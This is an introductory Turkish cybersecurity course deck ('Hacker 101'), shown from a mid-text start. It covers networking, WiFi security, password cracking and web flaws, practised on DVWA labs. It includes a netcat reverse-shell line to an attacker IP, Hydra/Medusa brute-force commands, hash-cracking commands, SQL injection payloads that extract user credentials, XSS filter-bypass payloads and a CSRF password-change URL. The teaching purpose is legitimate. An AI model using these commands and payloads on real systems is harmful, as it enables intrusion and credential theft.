üzerinden bir sisteme sızabilirsiniz.Lab kısmında bu senaryoyu inceleyeceğiz.

● Port numaraları 0 ile 65535 arasında değişen numaralar alabilir.
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● 21 FTP                                  194 IRC       
● 22 SSH                                  443 SSL
● 23 TELNET                           445 SMB
● 25 SMTP                            1433  MSSQL
● 53 DNS                              3306  MYSQL
● 80 HTTP                            3389  Remote Desktop
● 110 POP3
● 115 SFTP
● 135 RPC
● 143 IMAP



Temel Network Bilgisi | IP ADRESLEME
● Şuan etkin olarak IPv4 kullanılmakta ve IPv6 ya geçilmektedir.(IPv4 : Internet 

Protocol Version 4, IPv6: Internet Protocol Version 6 demektir.)

● Bu geçiş IPv4 un  IP adres aralığının çoğunun kullanılması ve ilerleyen yıllarda 
yetmeyeceğinden dolayı IPv6 ya geçilmektedir.Bu süreç gerek uyumluluk 
sorunlarından gerek maliyet gerekse güvenlik nedenlerinden dolayı çok yavaş 
ilerlemektedir.
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IPv4 Adresleme:

32 bittir.2 üzeri 32 den 4 milyardan fazla ip adresi ile adresleme yapmaktadır.

IPv4 ip adresi 4 oktetten oluşur ve her bir oktet 8 bitten oluşmaktadır.
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IPv4 Adresleme:
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IPv4 Adres Sınıfları:

A sınıfı adresler :  1-126

B sınıfı adresler :  128-191

C sınıfı adresler :  192-223

D sınıfı adresler :  224-239

E sınıfı adresler :   240-254

NOT:  Bunların dışında özel IPv4 aralıkları mevcuttur.
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Hub (Göbek)

 Hub aslında içerisinde tüm portları birbirine bağlayan 
kablolardan oluşmuş bir cihazdır ve kablolardan taşınan 
bilgiyi anlama kapasitesine sahip değildir.Aptal bir 
cihazdır.Yalnızca bir porttan gelen paketleri diğer bütün 
portlara yayın (boardcast) şeklinde iletir. Bu yüzden 
fiziksel katmana dahildir.



Temel Network Bilgisi | NETWORK CİHAZLARI
Switch (Network Anahtarı)

Switch  bilgisayarların ve diğer ağ öğelerinin 
birbirlerine bağlanmasına olanak veren ağ 
donanımlarından biridir. OSI modelinin 2. 
katmanında ve yeni dağıtıcılar IP routing yapabildiği 
için 3. katmanda da çalışır.Hubdan farklı olarak 
gelen paketin içeriğini anlayabilir ona göre 
anahtarlama yapar.

https://tr.wikipedia.org/wiki/A%C4%9F_donan%C4%B1m%C4%B1
https://tr.wikipedia.org/wiki/A%C4%9F_donan%C4%B1m%C4%B1
https://tr.wikipedia.org/wiki/A%C4%9F_donan%C4%B1m%C4%B1
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Bridge (Köprü)

İki TCP/IP ağını birbirine bağlayan bir 
donanımdır. İki veya daha fazla aynı 
protokolü kullanan ağları bağlamak 
için kullanılan bir cihazdır. Bağlama 
işlemi, iki ağdaki her mesajı birbirine 
tekrarlanarak sağlanır.

https://tr.wikipedia.org/wiki/TCP/IP
https://tr.wikipedia.org/wiki/Donan%C4%B1m
https://tr.wikipedia.org/wiki/Donan%C4%B1m
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Router (Yönlendirici)

Gelen ağ paketlerini incelemek ve 
buna göre istemci bilgisayarlara 
gönderilmesini sağlamaktadır. bu 
paketlerin en sağlıklı ve hızlı şekilde 
portlardan geçmesini sağlamaktadır.

Routing farklı networklerin birbirleriyle 
haberleşmek için hangi yolu 
kullanması gerektiğinin hesaplanması 
ya da seçilmesi işlemidir. Routing 
işlemini Router(yönlendirici) lar yapar.
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Firewall (Güvenlik Duvarı)

Güvenlik duvarı bir kural kümesi temelinde 
ağa gelen giden paket trafiğini kontrol eden 
donanım tabanlı ağ güvenliği sistemidir. 
Birçok farklı filtreleme özelliği ile bilgisayar ve 
ağın gelen ve giden paketler olmak üzere 
İnternet trafiğini kontrol altında tutar.

https://tr.wikipedia.org/wiki/Bilgisayar
https://tr.wikipedia.org/wiki/%C4%B0nternet
https://tr.wikipedia.org/wiki/%C4%B0nternet


WAF Nedir?
WAF (Web Application Firewall) :  Web Uygulamaları Güvenlik duvarıdır.waff00f  
ile sistemde firewall olup olmadığını kontrol edebilirsiniz.



IDS ve IPS Nedir?
IDS : Intrusion Detection Systems : Kötü niyetli ağ hareket ve bağlantılarının 
testipi için kullanılan sistem. Amacı tanımlama ve loglamadır.

IPS : Intrusion Prevention Systems : Kötü niyetli ağ hareket ve bağlantılarının 
önlenmesi için kullanılan sistem. Amacı kötü niyetli ağ hareketlerinin önlenmesidir.

IDPS : Intrusion Detection and Prevention Systems : Kötü niyetli ağ hareket ve 
bağlantılarının önlenmesi ve tanımlanması için kullanılan sistem. Amacı 
tanımlama, loglama, limitleme ( bazı sistemler belli bir limitin üstüne çıktığında 
saldırı kabul edilir. ) ve durudrmadı.
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Acces Point (Erişim Noktası)

Access point cihazların asıl görevleri 
sinyal güçlendirmek, erişim noktası 
oluşturmak ve sinyalleri kablosuz 
olarak iletmektir. Access pointlerde 
bulunan router özelliği ile dilerseniz 
kablolu olarak başka bilgisayarlara da 
internet bağlantısı veya ağ bağlantısı 
sağlayabilirsiniz.
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Modem

Modem, bilgisayarların genel ağa 
bağlantısını sağlayan ve bir 
bilgisayarı uzak yerlerdeki 
bilgisayarlara bağlayan aygıttır. 
Modem, verileri ses sinyallerine 
ses sinyallerini verilere 
dönüştürerek verileri taşır. Geniş 
ağ kurmak için mutlaka bulunması 
gereken ağ elemanıdır.

https://tr.wikipedia.org/wiki/Bilgisayar
https://tr.wikipedia.org/wiki/%C4%B0nternet
https://tr.wikipedia.org/wiki/Sinyal
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Network Paketleri :

HTTP,TCP/ IP,DNS, 

ARP, TLSV (HTTPS)

vb protokol paketleri
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Paket Yakalama ve Paket Analizi : ( Wireshark )

Wireshark ismiyle çıkan bu yazılım, bilgisayara ulaşan paketleri yakalamaya ve 
bu paketlerin içeriğini görüntülemeye imkan tanır. Başka bir deyişle, bilgisayara 
bağlı olan her türlü ağ kartlarındaki (Ethernet kartı veya modem kartları) tüm 
TCP/IP mesajlarını analiz edebilen bir programdır.
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Unix ve Windows işletim sistemleri için uygundur. 

Yerel ağ arayüzünden paketleri tutar, ayrıntılı bir şekilde protokol bilgileriyle 
görüntüler.

Tutulan paketleri kaydetme özelliği vardır.

Çeşitli kriterlerde paket arar ve filtreler (süzer). 

Alınan veya gönderilen paketleri filtrelemeyi baz alarak renklere ayırır ve 
katagorize eder.

Çeşitli istatistikleri, yapılan ayarlar doğrultusunda, kullanıcıya sunar. 

Birçok protokol için şifre çözme desteği sunar.
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PCAP DOSYALARINDA SALDIRI ANALİZİ
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PCAP DOSYALARINDA SALDIRI ANALİZİ
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Hping3 ve Uygulamaları : 

Hping’in paket göndermek için çeşitli modları ve komut satırı parametreleri vardır. 

Temel olarak hping ile raw ip, icmp, tcp ve udp paketleri üretilebilir. 

Üretilecek paketlere ait tüm özellikler komut satırından belirtilebilir
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Hping3 ve Uygulamaları : 

SYN    (hping -S)
FIN     (hping -F)
RST    (hping -R)
ACK   (hping -A)
PUSH (hping -P)
URG  (hping -U)
              Kullanımı : hping -S -c 100 -p 80  gurelahmet.com  
-c : Bu parametre ile kaç adetr bayrak gönderileceği belirtilir.
-p : Bu parametre ile hangi porta gönderileceği beliritilir.
-a : Sahte IP adresi vererek IP adresinizi gizlememizi sağlayan parametre.
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Netcat (nc) ve Uygulamaları:

Netcat, TCP/IP üzerinden veri gönderme veya almaya yarayan açık kaynak kodlu 
bir araçtır. 

Netcat aracı ile herhangi bir portu dinleyebilir, port tarama, bağlantı oluşturma, 
shell oturumu, dosya transferi gibi birçok şey yapılabilir.

nc -v gurelahmet.com 80      nc  -vz gurelahmet.com 80 

nc -v -n  IP_ADRESS   -z 1-1024 

nc -e SALDIRGAN_IP  PORT -e /bin/bash -lp         nc -lvp  PORT
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Netcat (nc) ve Uygulamaları:
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Netcat (nc) ve Uygulamaları:
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Arp Poisinig,MITM ve Ettercap Uygualamarı : 

Arp Poisoning Saldırısı:

Arp zehirlenmesi, ARP (Adress Resolution Protocol) OSI katman modelinde 
network katmanında yer alır.Bu katmanda yer alan ARP, IP adreslerini MAC 
adreslerini çevirir.Bu IP adreslerine karşılık gelen MAC adreslerini ARP 
tablolarında tutar ve ARP tabloları da belirli aralıklarla güncellenir.Bir ip adresine 
karşılık, sahte bir MAC adresi oluşturulmasına ARP zehirlenmesi denir. 
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Arp Poisinig,MITM ve Ettercap Uygualamarı : 

Arp Poisoning Saldırısı için Kullanılabilecek Araçlar :
· Arp Tool 1.0.2
· Etherial yada Wireshark
· Arpoison
· Dsniff
· Ettercap
· Cain & Abel
·WinArpSpoofe 

     SSL Trafiğini Dinlemek için SSLTrip aracı kullanılmaktadır.
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ARP Poisoning Önleme Yöntemleri :
1-Static ARP : Arp tablosunun statik olarak doldurulması arp anonslarına ihtiyacı 
ortadan kaldıracağı için bu saldırı önlenmiş olur ancak büyük networkler için 
uygulanabilirliği düşüktür.
2-Encryption: Network üzerinde akan trafik şifrelenirse paketler ele geçirilse dahi 
okunamadığı için işe yaramayacaktır.Ya da kırılması için uzun zaman 
harcayacaklardır.
3-Subnetting : Networkü küçük Vlan(Virtual Local Area Network)'lere bölmek ve 
yetkili kullanıcıları dış ortamdan soyutlamak arp poisoning saldırısının yüzeyini 
azaltmaktadır.
4-Network Ürünlerinde varsa  ARP security veya Dynamic ARP Inspection 
özellikleri aktif hale getirilerek saldırı önlenebilir.
5-İç networkte ARP Wathcher kullanarak sistemi gözlemlemek. ArpON
ve Arpalert gibi açık kaynak kodlu araçlar kullanılarak ARP protokolünün güvenli 
bir şekilde çalışması sağlanmış olur.
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Arp Poisinig,MITM ve Ettercap Uygualamarı : 
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Kablosuz Ağlar Nasıl Çalısır :

Kablosuz ağ bağlantı noktaları küçük radyo dalgaları üreten sistemlerdir.

WiFi standartları çeşit ve özelliklerine göre 802.11a, b,g ve n olarak ayrılmışlardır. 

Bunlardan en yaygın olarak kullanılanı 802.11b’dir ve 2.4Ghz’lik yayılma aralığına 
sahiptir. Ancak 802.11b ile en fazla 11 Megabit’lik bağlantı kurabilmek 
mümkündür. 

Oysa 802.11g ile saniyede 54 Mbit, 802.11n ile 140 Mbit’lik hızlara ulaşmak 
mümkündür.

Hacker 101 | Siber Güvenliğe Giriş
KABLOSUZ AG GÜVENLİGİ



Kablosuz Ağlar Nasıl Çalısır :

Neredeyse tüm pclerin üzerlerinde entegre Wi-Fi alıcıları bulundururlar. 
Bulunmayanlar ise PCMCIA kartlarla bu özelliği kolayca kazanabilirler.

Kablosuz ağ sistemleri radyo frekansları ile çalışmaktadırlar. 

Radyo dalgaları ile haberleşme üç çeşit olabilmektedir. 

Bunlar alıcı(receiver), verici(transmitter) ve alıcı-verici(trans-receiver) olarak 
adlandırılırlar.
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Kablosuz Ağlar Nasıl Çalısır :

Alıcılar : Adından da anlaşılabileceği üzere sadece radyo sinyallerini alabilen fakat 
gönderme özelliği barındırmayan aygıtlardır.Bunlara en basit örnek olarak FM 
radyoları ve televizyonları gösterebiliriz. 

Vericiler : Sadece radyo sinyalleri gönderebilen ama alma yetileri olmayan 
elektronik devrelerdir. Bunlara örnek olarak radyo verici istasyonları, televizyon verici 
İstasyonları vb. sayılabilir. 

Alıcı-Vericiler : Hem alma hem verme özellikleri olan aygıtlardır. Bunlara örnek 
olarak telsiz röleleri, cep telefonu baz istasyonları, cep telefonları vb. sayılabilir.
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Kablosuz Ağlar Nasıl Çalısır :

1. Tek Yönlü İletim(Simplex): Kurulan iletim sistemin de iletimin sadece bir yöne 
yapılabildiği zaman aldığı addır. Örnek olarak FM radyolar gösterilebilir.

 2. Çift Yönlü Eş Zamansız İletişim(Yarı-Dupleks, Half-Duplex): Kurulan iletim 
sisteminde çift yönlü iletim yapılabildiği ancak eş zamanlı olarak sadece bir tarafın 
gönderim yapabildiği sistemlerdir. Örnek olarak Telsiz uygulamaları gösterilebilir. Bilgi 
sistemlerinde kullanılan radyo frekansı ile çalışan kablosuz iletişim sistemleri genelde 
bu tiptedir. Örneğin IEEE 802.11g standardı 54 Mbps’de Yarı-Dupleks iletim imkanı 
sunar. 

3. Çift Yönlü Eş Zamanlı İletişim (Tam-Dupleks,Full-Duplex): Hem alıcı hem 
vericinin eşzamanlı iletim yapabildiği zaman aldığı isimdir. Örnek olarak cep 
telefonları, telsiz telefonlar gösterilebilir.
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Kablosuz Ağlar Nasıl Çalısır :

Yeni kablosuz ağ teknolojisi ise WiMAX’tir. 

Çalışma prensibi standart kablosuz ağ sistemleriyle aynıdır fakat çok güçlü 
mikrodalga iletimiyle sinyalleri daha uzak mesafelere taşıyabilmek mümkündür. Bu 
sayede birim metrekarelik alan için gereken kablosuz ağ noktası maliyeti düşmekle 
beraber sinyal kalitesi de arttırılmış olmaktadır.
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WiFi Şifreleme Standartları:

Wi-Fi ağınızın güvenliğini sağlamak için ortaya çıkmış şifreleme yöntemleri vardır, 
bu şifreleme iyöntemleri WEP, WPA, ve WPA2  dır.

Bir sonrakinin çıkış amacı bir öncekinde bulunan güvenlik açığı,yeterli güvenli 
olmamasından kaynaklanmaktadır.
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Wired Equivalent Privacy (WEP) :

Wired Equivalent Privacy (WEP), dünyada en çok kullanılan Wi-Fi güvenlik 
algoritması. Bunun sebebi ise, geriye uyumluluğu ve birçok router'ın kontrol 
panelinde ilk sırada yer alması.

WEP  64-bit olarak çıktı fakat sonra   128-bit'e çıkarıldı. Günümüzde 256-bit WEP 
şifrelemesi mevcut olsa da, 128-bit şifreleme halen en yaygın olarak kullanılan.

Algoritmadaki bir çok düzeltmeye ve arttırılan anahtar boyutuna rağmen, WEP 
standardında zaman içinde birçok güvenlik açığı keşfedildi.Ücretsiz araçlar ile 
kolaylıkla kıralabilmeltedir.(Aircrack vb.) WEP 2004 yılında resmi olarak bitirildi.
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Wi-Fi Protected Access (WPA) :

Wi-Fi Protected Access, Wi-Fi Alliance'ın güvenlik açıkları gitgide artan WEP'e 
alternatifidir.2003 yılında çıkmıştır.

En yaygın olan WPA konfigürasyonu, WPA-PSK (Pre-Shared Key). 

WPA'da kullanılan anahtarlar 256-bit, ve bu WEP sisteminde kullanılan 64-bit ve 
128-bit anahtarlara göre önemli bir gelişme.

Temporal Key Integrity Protocol (TKIP). TKIP, paket başına anahtar sistemiyle, 
WEP'te kullanılan sabit anahtar sisteminden çok daha güvenli. TKIP de daha 
sonralarda Advanced Encryption Standard (AES)'in gölgesinde kaldı.

Hacker 101 | Siber Güvenliğe Giriş
KABLOSUZ AG GÜVENLİGİ



Wi-Fi Protected Access (WPA) :

WPA sisteminin kırılması daha çok WPA algoritmasına direk bir saldırıyla değil, 
aygıtları birbirine bağlamayı kolaylaştırmak amacı taşıyan Wi-Fi Protected Setup 
(WPS)'ın aracılığıyla yapılması.
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WPS :

"Wi-Fi protected setup" (WPS), tecrübesiz kullanıcıların router ile diğer ürünlerini 
kablosuz olarak kolayca bağlamalarını sağlayan bir sistemdir.

WPS destekli router'ların arka tarafında 8 haneli bir kod bulunmaktadır. 

Kablosuz ağınıza örneğin bir laptop bağladığınızda bu 8 haneli PIN kodunu 
girmeniz gerekir.
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WPS AÇIKLIGI :

Normal şartlarda 8 haneli bir PIN kodunu kırmak, 6  yıl sürebilir. 

Zira kodun 3 kez üst üste yanlış girilmesi, router'ın 60 saniye sizi bekletmesiyle 
sonuçlanır.

WPS güvenliği, 8 haneli güvenlik kodunu 4 haneli 2 gruba ayırmaktadır.Birinci 
grup 4 haneli şifre doğru girilirse router doğru diye değer döndürüyor.

Bu olay sayesınde 8 hane yerine 4 hane atağı yapıyoruz.6 yıllık süre 1 güne 
düşüyor.3 yanlış denemede bekletme yoksa bu süre dahada kısalmakta.
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Wi-Fi Protected Access II (WPA2)

2006'ya geldiğimizde, WPA2, WPA'nın resmi olarak yerine geçti. WPA ve WPA2 
arasındaki en önemli değişikliklerden biri, AES algoritmalarının zorunlu kullanımı 
ve CCMP (Counter Cipher Mode with Block Chaining Message Authentication 
Code Protocol)'nin, TKIP'ın yerini alması oldu.

Fakat TKIP, WPA ile birlikte çalışabilmek için hala tutuluyor)
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Wi-Fi Protected Access II (WPA2)

WPA'nın zırhındaki en büyük delik, Wi-Fi Protected Setup (WPS) aracılığıyla 
erişilebilen "saldırı vektörü", WPA2 kullanan erişim noktalarında da varlığını 
sürdürüyor. 

Bu savunmasızlığı kullanarak bir WPA/WPA2 ağına izinsiz girmek, modern bir 
bilgisayarla 2-14 saatlik sürekli bir efor gerektiriyor fakat, yine de bu çok önemli bir 
güvenlik açığı ve WPS devre dışı bırakılmalı.
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Password Cracking : Parola Kırma 

Encryption(Şifreleme): Gizlenmek istenen bir bilginin (metin, fotoğraf, ses kaydı, 
kişisel bilgiler vb.) bir algoritma yardımıyla bir başkası tarafından okunmasını ya 
da değiştirilmesini engellemek için veri üzerinde yapılan işleme şifreleme denir.

Şifre kırmak için brute force (kaba kuvvet) yöntemi kullanırız.Bu yöntem deneme 
yanılma yöntemidir.Elimizde bulunan şifreleri yada hashleri araçlarla deneyerek 
bulma yöntemidir.

Elimizde bulunan şifrelere wordlist denir.Hazır wordlistler olduğu gibi Crunch gibi 
araçlar ile kendi wordlistimizide oluşturanbiliriz.
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Crunch 

 

Kali Linux’un içinde gelen güzel wordlistlere /usr/share/wordlists/ dizininden 
ulaşabilirsiniz.
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Hash ve Rainbow Table 
Hash Fonksiyonları:

Hash fonksiyonları matematiksel olarak geri döndürülemez tek yönlüdür.

Amacı bir değerin hashı alındığında bunun eşsiz olması başka bir değerde bunu 
üretmemesi gerekir.

MD5,SHA1 vb hash fonksiyonları bulunur.
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Hash ve Rainbow Table 
Rainbow Table :

Rainbow table, bir string ve onun hashi karşılığı eşleşmelerinden oluşan bir 
tablodur. Hash crack işlemi sırasında, normalde denenecek string hashlenir , 
hashler karşılaştırılır ve deneme bir sonraki deneme stringi ile aynı şekilde devam 
eder. Bu yöntem işlem zamanı açısından verimsizdir. 

Bu yüzden rainbow tables (önceden oluşturularak) crack sırasında kullanılır. 
Kırılacak hash ile rainbow tabledan alınan hash karşılaştırılır, eşleşen hash 
bulunduğunda string karşılığı rainbow table da zaten belli olduğu için parola daha 
hızlı bulunur. Tabiki bu hızın bize maliyeti ise bellek alanıdır.
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Password Cracking  Tools :

John The Ripper

Hashcat

Aircrack

Cain & Abel

Hydra

Medusa               *** Bu araçlar ile Password Cracking yapılabilmektedir.
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Medusa ile Mysql Brute Force:

       medusa -h HEDEF_IP -u root -P /wordlist_path -M mysql

Hydra ile SSH  Brute Force 

        hydra -l username  -P /wordlist_path  ssh://HEDEF_IP

Hydra ile FTP  Brute Force 

        hydra -l username  -P /wordlist_path  ftp://HEDEF_IP
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John The Ripper Hash Cracking

            john --format:raw-md5     kırılcakhash.txt --show

Hashcat ile Hash Cracking

           hashcat -m 0 -a 0 kırılcakhash.txt wordlistimiz.txt

-m : Hash tipi 0 md5

-a :  Saldırı yönetemi direk saldır
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Web Uygulamaları : 

1- PHP

2- Servlet,JSP,JSF

3- Asp.Net

4- Django

5- Ruby on Rails



HTTP (HyperText Transfer Protocol)

● HTTP  yani HiperMetin Yollama Protokolü ilk başta HTML sayfaları yollamak için yazılmış olan bir 
protokol olup günümüzde her türlü verinin gönderimi için kullanılır. TCP üzerinden çalışır.

● HTTP oturumunun başlaması için, 3lü el sıkışmanın client ve server arasında tamamlanması 
germektedir. 

NOT: HTTP Metodları ve HTTP Durum kodları Güvenlik için önemlidir.

Metodlar: Get,Head,Put,Post,Trace,Delete,Connection,Options

Durum Kod: 1xx :Bilgi  2xx  Başarı  3xx :Yönlendirme   4xx  :Tarayıcı Hatası    5xx   :  Sunucu Hatası 

HTTPS (Secure HTTP )

● HTTPS yani Güvenli HTTP ,  HTTP'nin RSA şifrelemesi ile güçlendirilmiş halidir. TCP üzerinden 
çalışır. Kredi kartı,şifre vb. gizli bilgilerin iletilmesinde kullanılır.
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https://tr.wikipedia.org/wiki/HTML
https://tr.wikipedia.org/wiki/HTTPS
https://tr.wikipedia.org/wiki/HTTPS
https://tr.wikipedia.org/wiki/RSA
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HTTP METODLARI : 

GET Metodu

GET metodu sunucudan dosya/veri almak için kullanılır. Bunun dışında sunucuya veride 
gönderilebilir. 

POST Metodu

Sunucuya veri göndermek için kullanılır. Fakat burada veriler url kısmında değilde  body kısmında 
gönderilir. Bundan dolayı tarayıcıda gönderilen değerler görülmez.Proxy ile araya girerek bu 
değerleri değiştirmek mümkündür.
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HTTP METODLARI : 

PUT Metodu

Sunucuya veri göndermek için ama gönderilen veriler ile bir dosya yaratmak için kullanılır

TRACE Metodu

Sunucuyu kontrol amaçlı kullanılabilir.

OPTIONS Metodu

Sunucunun hangi metodları kabul ettiğini öğrenmek için kullanılır.
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HTTP METODLARI : 

DELETE Metodu

Sunucuda ki kaynağı silmek için kullanılır. 

CONNECTION Metodu

Suncuyu proxy gibi kullanabilmemizi sağlar. Yani sunucunun başka bir sunucuya istek yapmasını 
sağlayabiliriz.
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Cookie : 

Çerez (cookie), herhangi bir İnternet sitesi tarafından bilgisayara bırakılan bir tür 
tanımlama dosyası. 

Çerez dosyalarında oturum bilgileri ve benzeri veriler saklanır. 

Çerez kullanan bir site ziyaret edildiğinde bu site, erişimin yapıldığı tarayıya sabit 
diske bir ya da daha fazla çerez bırakma konusunda talep gönderebilir.
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Cookie : 
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Cookie Çesitleri :

Cookie (çerez) genel bir ifadedir ve çerezlerin birden çok türü vardır. 

Aklımıza kazınan cookie'nin doğru tanımlaması "persistent cookie" veya 
"permanent cookie" dir. 

Session'ın doğru tanımlaması "session cookie" veya "transient cookie" dir. İşte bu 
2 tanımlama aslında çerezin türleridir. 

Diğer çerez türleri ise "Secure cookie", "HttpOnly cookie", "Third-party cookie", 
"Supercookie" ve "Zombie cookie" dir.
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Cookie Cesitleri :
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Proxy Nedir?

Proxy, ya da Türkçe adıyla vekil sunucu, internete erişim sırasında kullanılan bir 
ara sunucudur. Bu durumda, örneğin bir ağ sayfasına erişim sırasında doğrudan 
bağlantı yerine: 

Tarayıcı vekil sunucuya bağlanır ve hangi sayfayı istediğini söyler 

Vekil sunucu gerekiyorsa o sayfaya bağlanır ve içeriği alır 

Vekil sunucu tarayıcıya içeriği gönderir
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Fazladan hız: vekil sunucu, çok ziyaret edilen sayfaları önbelleğine alabilir. Bu durumda, o 
sayfa ziyaret edilmek istendiğinde dünyanın öbür ucundaki bir sunucuya bağlanmak yerine 
önbellekteki bilgi okunur. 

Fazladan kontrol: vekil sunucu, istenen sayfalara erişim verip istenmeyenlere erişim 
vermeyebilir. Kimin hangi sayfaya girdiğini bellekte tutabilir. Gerekiyorsa, içeriği değiştirerek  
verebilir. 

Fazladan güvenlik: vekil sunucu, virüslü dosyaları otomatik olarak temizleyebilir. Ayrıca, 
ağda hiç kimsenin İnternet'e doğrudan erişimi olmadığı için bir virüsü veya zararlı bir 
programı yayma ihtimalini de azaltır. 

Genelde İnternet servis sağlayıcılar, şirketler ve büyük ağlar (kampüs ağları gibi) tarafından 
kullanılır.
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Bazı Web  Açıkları :

1- SQL Injection 

2- XSS ( Reflected,Sotered,DOM )

3- Cross Site Request Forgery (CSRF)

4- Command Injection

5- File Inclusion

6- File Upload
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SQL Injectiondan Önce SQL Nedir ve SQL Sorguları nasıl yazılır?

1- SELECT * FROM tablo;

2- SELECT * FROM tablo WHERE id < "25" ORDER BY id LIMIT 0, 10;

3- SELECT * FROM tablo1 

WHERE id = ( SELECT mesaj_no FROM tablo2 WHERE mesaj_id = "1" );

4- SELECT *  FROM tablo1 UNION SELECT  * FROM tablo2;

5- INSERT INTO tablom (isim, yas, email) 
VALUES("Ahmet","24","info@gurelahmet.com");

mailto:info@gurelahmet.com
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SQL Injection Tespiti: ( ‘ ya da “ ) hata alıyorsak tek ve çift tırnak hangisi 
olduğunu tespit edip ona sqli atakları gerçekleştirebiliriz.

Sqli en tehlikeli web açıklarındandır.Direk veritabanına erişim sağlandığı için 
veriler çalınabilir,silinebilir,değiştirebilir.

Manuel olarak SQL bilginize göre tablo ismlerine, veritabanı ismine kolon 
sayılarına,versiyon bilgisine,username password bilgilerine vb bir çok bilgiye 
ulaşabilirsiniz.

Bu açığın bulunduğunu bildiğiniz sistemlerde Sqlmap aracı  ile  bir çok işlemi 
otomize olarak gerçekleştirebilirsiniz.Tabi mantığını anlamak için manueli 
öğrenmenizi tavsiye ederiz :))



Tüm Kayıtları Listeleme :  1' or '1'='1



Veritabanındaki Kolon Sayısının Tespiti :  1' UNION SELECT 1,2 #



Veritabanının Versiyon Bilgisi :  1' UNION SELECT version(),2 #



Veritabanının İsim Bilgisi : 1' UNION SELECT database(),2 #



Tabloların Belirlenmesi : 1' UNION SELECT table_name,2                                         
FROM information_schema.tables WHERE table_schema = 'dvwa' #



Tabloların Kolonlarının Belirlenmesi : 1' UNION SELECT column_name,2 FROM 
information_schema.columns WHERE table_schema='dvwa' AND table_name='users' #



Tablolardaki Kolonları Yazdırma : 1' UNION SELECT username,password FROM users # 
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Blind SQL Injection :

Veritabanı hataları vermezse ise sqli açıklığı olsa bile bunu anlamak zordur.

‘ yada “ tırnak attığımızda bir hata döndürmeyebilir fakat sqli olabilir.

Buna Blind (kör)  Sql Injection  denir.
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Blind SQL Injection :
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Web Uygulama GüvenliğiBlind SQL Injection :   3' AND '1' = '1' #

Normalde  böyle bir girdi için kayıt dönmemesi gerekir.Fakat dönüyor sqli var.
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XSS (Cross Site Scripting ) : 

Cross site scripting (XSS), bilgisayar güvenlik açığı. HTML kodlarının arasına 
istemci tabanlı kod gömülmesi yoluyla kullanıcının tarayıcısında istenen istemci 
tabanlı kodun çalıştırılabilmesi olarak tanımlanır.

Reflected,Stored ve Dom olarak üç çeşiti vardır.
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XSS (Cross Site Scripting ) : 

Cross site scripting (XSS), bilgisayar güvenlik açığı. HTML kodlarının arasına 
istemci tabanlı kod gömülmesi yoluyla kullanıcının tarayıcısında istenen istemci 
tabanlı kodun çalıştırılabilmesi olarak tanımlanır.

Reflected,Stored ve Dom olarak üç çeşiti vardır.
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Reflected XSS :Kullanıcının girilmesi beklenen parametre yerine Javascript kodu 
girerek bunu ekrana yansıtması ile tespit edilebilen XSS çeşitidir.
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Reflected XSS:

Temel olarak DVWA nın ilk örneğindeki payloadımız <script>alert(1)</script> 
oldu. Ve bir pop-up olarak 1 i tarayıcımızda gördük yani bize yansıdı.

Çoğu zaman bu kadar kolay olmamakla birlikte farklı yollar yöntemler ile 
engellenen ,değişkene atılan girdileri bypasslayarak yine pop-up elde edebilinecek 
bir çok yol var.Web for Pentester üzerinden bunlara bakalım.

.
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Reflected XSS: Kötü  Karakterleri Kontrol ediyoruz engellenen bir şey varmı diye

.
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Reflected XSS: Engellenen bir şey olmadığı için <script>alert(1)</script> deniyoruz.

.
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Reflected XSS: Sayfa kaynağında nasıl görünüyor ? .
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 2.Örnekte <script> engellenmiş bunun için <SCRIPT>alert(1)</SCRIPT> ve ya 
<sc<script>ript>alert(1)</sc</script>ript> payloadları ile bypasslayabiliriz.

3.Örnekte <SCRIPT> de engellenmiş  <sc<script>ript>alert(1)</sc</script>ript>  yine çalışıyor.

.
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 4.Örnekte <script> tagı tamamen engellenmiş bunun için <svg onload=alert(1)> 
payloadı ile bypasslayabiliriz.
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 5.Örnekte alert geçen bir payload girdiğimizde error vermekte bunun için alert ile aynı 
işlevde olan prompt kullanarak <svg onload=prompt(1)> payloadını kullanıcaz.
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 6.Örnekte farklı bir durum var değişkene atılmış girdiğimiz payloadlar pop-up oluşturmuyor.

“; alert(1);” gibi bir payload girdiğimizde pop-up almaktayız.



Genel olarak Reflected XSS i tanıyarak bir kaç bypass yolunu örneklerle inceledik.

Bir çok XSS payloadı bulunmakta ve türemekte duruma koda göre BugBounty 
(Bugcrowd,HackerOne vb.) ile uğraşan arkadaşlar kendilerini geliştirip çok farklı 
payloadlar bulmaktadır.

Bir çok XSS Payloadına 
https://packetstormsecurity.com/files/112152/Cross-Site-Scripting-Payloads.html  
adresinden ulaşabilirsiniz.
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https://packetstormsecurity.com/files/112152/Cross-Site-Scripting-Payloads.html
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Stored/Persistent XSS: 

Adında anlaşılacağı üzere kalıcı XSS türüdür.Bu sefer girilen payloadlar anlık 
olarak yansımaz bir veritabanına yada başka bir yere kayıt edilir daha sonradan 
ziyaret edildiğinde çalışan XSS çeşitidir.

Reflected XSS e göre daha tehlikelidir etkilenen nokta bir ziyaretçi defteri,duyuru 
sayfası gbi bir yer olduğunda sitede o sayfayı ziyaret eden herkesin etkilenmesi 
sağlanabilir.
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Web Uygulama GüvenliğiStored/Persistent XSS: 
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Web Uygulama GüvenliğiStored/Persistent XSS: 
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Web Uygulama GüvenliğiStored/Persistent XSS: 
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DOM  XSS: 

 XSS Dom ( Document Object Model )  lardan kaynaklanan XSS dir

.Gemelde # işaretinden sonra payload denenmesi ve sayfa yenilendiğinde alert 
alındığında DOM XSS var denilen XSS açıklığıdır.

İşin teorik bilgisi DOM nesnesinden kaynaklandığı için en tehlikeli XSS türü olarak 
anılmaktadır.
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Web Uygulama GüvenliğiDOM  XSS:

# işaretinden sonra <script>alert(1)</script> payloadı girerek sayfayı yenilediğimizde 
alert ekrana yansıyacaktır.
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CSRF (Cros Site Request Forgery): 

CSRF, “siteler arası istek sahteciliği” anlamında olup “Cross Site Request 
Forgering” deyiminin baş harflerinin kısaltılmış halidir. Saldırı, herhangi bir son 
kullanıcının, kullandığı uygulamada isteği dışında işlemler yaptırtılmasıyla 
gerçekleştirilir.

Önemli işlemleri GET metodu ile yapılması büyük sorun oluşturur.Şifre değiştirme 
ürün silme vb işlemler.DVWA nın örneğindede şifre değiştirme işlemi GET metodu 
ile yapılmakta istediğimiz gibi değiştirebiliriz kendi istediğimiz şifre ile sosyal 
mühendislik yöntemi ile bu zararlı linki gönderdiğimizde kutbanın şifresini 
değiştirebiliriz bu örnekte.
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Web Uygulama GüvenliğiCSRF (Cros Site Request Forgery):

http://192.168.237.129/dvwa/vulnerabilities/csrf/?password_new=ahmet&password_conf=ahmet&Change=Change
# 
